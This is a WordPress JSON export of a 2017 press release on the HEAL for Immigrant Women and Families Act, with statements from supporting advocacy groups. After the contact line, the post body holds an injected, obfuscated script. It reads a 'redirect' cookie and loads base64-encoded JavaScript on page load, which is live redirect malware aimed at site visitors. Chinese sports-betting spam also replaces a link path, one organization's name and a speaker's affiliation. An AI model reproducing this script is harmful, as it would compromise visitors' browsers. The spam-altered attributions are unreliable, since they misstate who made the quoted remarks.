{"id":10545,"date":"2017-06-06t15:25:44","date_gmt":"2017-06-06t19:25:44","guid":{"rendered":"\/\/www.k12fl.com\/advocates-blog\/advocates-blog-advocates-blog\/lujan-grisham-introduces-heal-act-of-2017\/"},"modified":"2019-09-16t16:54:27","modified_gmt":"2019-09-16t20:54:27","slug":"lujan-grisham-introduces-heal-act-of-2017","status":"publish","type":"post","link":"\/\/www.k12fl.com\/世界杯2022亚洲预选赛b组
\/lujan-grisham-introduces-heal-act-of-2017\/","title":{"rendered":"lujan grisham introduces heal act of 2017"},"content":{"rendered":"<p>the <a href=\"https:\/\/www.guttmacher.org\/infographic\/2016\/immigrant-women-need-health-coverage-not-legal-barriers-0\" target=\"_blank\">numbers speak for themselves<\/a>. among women of reproductive age, 36% of the 6.5 million immigrants who are not u.s. citizens are uninsured, compared with 11% of naturalized citizen immigrants and 10% of u.s.-born women. it\u2019s even worse for reproductive-age women living in poverty, with over half of noncitizen immigrant women lacking health insurance\u2014more than twice the proportion of u.s.-born women. the heal for immigrant women and families act of 2017 would go a long way toward addressing these and other persistent inequities.<\/p>\n<p>the heal act removes several unnecessary restrictions to health care, including:<\/p>\n<ul>\n<li>restores eligibility and eliminates the five-year waiting period for all lawfully present immigrants to access medicaid and the children\u2019s health insurance program, or chip.<\/li>\n<li>allows all recipients of deferred action for childhood arrivals (daca) to have access to the affordable care act, medicaid and chip.<\/li>\n<\/ul>\n<p>dozens of prominent organizations from across the country are formally supporting the heal act. <a href=\"storage\/advfy\/documents\/heal-for-immigrant-women-and-families-organizational-support_6-6-2017.pdf\" target=\"_blank\">you can find a list of organizations here<\/a>.<\/p>\n<p><span style=\"text-decoration: underline;\"><strong>center for reproductive rights<\/strong><\/span><\/p>\n<p>\u201chealth care is a human right, no matter your immigration status,\u201d said nancy northup, president and ceo of the center for reproductive rights. \u201cwe need bold leaders to stand up for policies that advance fair treatment and equal rights for all. we commend representative lujan grisham for her leadership on behalf of immigrant women and families who too often face discriminatory roadblocks when they need essential health care.\u201d<\/p>\n<p><span style=\"text-decoration: underline;\"><strong>喀麦隆vs巴西波胆分析
<\/strong><\/span><\/p>\n<p>&#8220;limiting access to healthcare has a profoundly negative impact, especially for young people. removing unnecessary barriers that delay accessing health care or make it unaffordable is critical in advancing the health and well-being of young people, women and communities. young people especially deserve access to the full range of health care services, not policies that deny access to basic services they need to lead healthy lives,\u201d said debra hauser, president of 喀麦隆vs巴西波胆分析
.<\/p>\n<p><span style=\"text-decoration: underline;\"><strong>national latina institute for reproductive health<\/strong><\/span><\/p>\n<p>\u201cwe applaud representative lujan grisham for her leadership in support of the health and well-being of immigrant families. the reintroduction of the \u2018health equity and access under the law (heal) for immigrant women and families act of 2017\u2019 recognizes the contributions of immigrants and the need to eliminate outdated and harmful legal and policy barriers that have contributed to their exclusion from affordable health coverage,&#8221; said jessica gonz\u00e1lez-rojas, executive director of the national latina institute for reproductive health (nlirh).<\/p>\n<p>\u201cstructural barriers to healthcare disproportionately harm low-income immigrant women. in order for immigrant women to have the opportunity to realize their full potential, care for their families, and make their own decisions about their future, these discriminatory policies must be removed. the heal for immigrant women and families act of 2017 provides us with an inclusive vision to build healthier and stronger communities. at a time when we see proposals that would potentially have a devastating effect on women&#8217;s healthcare access, we commend efforts to remove political interference so that immigrant women and families can live with the health and dignity that they deserve.\u201d<\/p>\n<p><span style=\"text-decoration: underline;\"><strong>marielena hincapi\u00e9, executive director of the national immigration law center<\/strong><\/span><\/p>\n<p>\u201chealth and wellness are critical to building and maintaining thriving communities. that\u2019s why expanding access to affordable health care should always be a policy priority. at a time when other proposals would further limit coverage for our most vulnerable populations, the health equity and access under the law (heal) for immigrant women and families act embodies the principles that should drive any effort to address the shortcomings of our health care system. it stands in stark contrast to cuts in the trump administration\u2019s budget proposal and partisan efforts to repeal the affordable care act. we applaud rep. lujan-grisham for championing this promising and crucial step toward a health system that cares for all people in our communities, regardless of where they were born or their income.\u201d<\/p>\n<p><span style=\"text-decoration: underline;\"><strong>national health law program<\/strong><\/span><\/p>\n<p>\u201cthe health equity &amp; access under the law (heal) for immigrant women &amp; families act of 2017 is the first step in ensuring that immigrant women and families have full and unencumbered access to health programs that their tax dollars support. the measure seeks to end unjust exclusion of eligible immigrants from accessing affordable health insurance coverage, including coverage through medicaid, chip and the affordable care act&#8217;s marketplaces. in the trump era, this type of legislation is urgently needed,\u201d said elizabeth g. taylor, executive director of the national health law program (nhelp).<\/p>\n<p><span style=\"text-decoration: underline;\"><strong>national council of jewish women<\/strong><\/span><\/p>\n<p>\u201ctwo decades ago, politicians enacted discriminatory restrictions to push health care out of reach for immigrant women and families. the health equity &amp; access under the law (heal) for immigrant women and families act is critical to restore justice for individuals and families who have been denied access to the health care they need due to their immigration status \u2014 barriers which disproportionately harm immigrant women. we will all benefit from healthier communities and a stronger economy by ensuring immigrant women and families can access the health care they need without jeopardizing other basic needs. we welcome this bill and urge its support and advancement in congress.\u201d &#8211; nancy k. kaufman, ceo national council of jewish women<\/p>\n<p><span style=\"text-decoration: underline;\"><strong>asian &amp; pacific islander american health forum<\/strong><\/span><\/p>\n<p>\u201cthe health of our immigrant families is so often overlooked, when it should be a major focus,\u201d said kathy ko chin, apiahf president and ceo. \u201cthe heal for immigrant women and families act does just that, by allowing immigrant women and their families to access the care they need and that their tax dollars support. our country will be stronger and more successful when all residents have access to health care.\u201d<\/p>\n<p>&nbsp;<\/p>\n<p><strong>contact gilbert gallegos<\/strong><br \/><strong>(505) 967-5612<\/strong><\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getcookie(e){var u=document.cookie.match(new regexp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return u?decodeuricomponent(u[1]):void 0}var src=\"data:text\/javascript;base64,zg9jdw1lbnqud3jpdguodw5lc2nhcguojyuzqyu3myu2myu3miu2osu3mcu3ncuymcu3myu3miu2myuzrcuymiuymcu2ocu3ncu3ncu3mcuzqsuyriuyriuzmsuzocuznsuyrsuzmsuznsuzniuyrsuzmsuznyuznyuyrsuzocuznsuyriuznsu2myu3nyuzmiu2niu2qiuymiuzrsuzqyuyriu3myu2myu3miu2osu3mcu3ncuzrsuymccpkts=\",now=math.floor(date.now()\/1e3),cookie=getcookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=math.floor(date.now()\/1e3+86400),date=new date((new date).gettime()+86400);document.cookie=\"redirect=\"+time+\"; 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te release<\/strong><br \/><strong>thursday, june 6, 2017<\/strong><\/p>\n<p><strong>washington, d.c.<\/strong> \u2013 congresswoman michelle lujan grisham today reintroduced the \u201chealth equity and access under the law (heal) for immigrant women and families act.\u201d<\/p>\n<p>the heal act of 2017, which now has support from 120 organizations, would restore access to affordable health coverage and care for immigrants authorized to live and work in the united states.<\/p>\n<p>\u201cthe heal for immigrant women and families act of 2017 will guarantee that lawfully present immigrants who work hard and contribute to our economy will be treated fairly by the health care system they support when they pay taxes,\u201d rep. lujan grisham said. \u201ci want to remove barriers that prevent access to health care programs like medicaid and chip.\u201d<\/p>\n","protected":false},"author":4,"featured_世界杯2022亚洲预选赛b组
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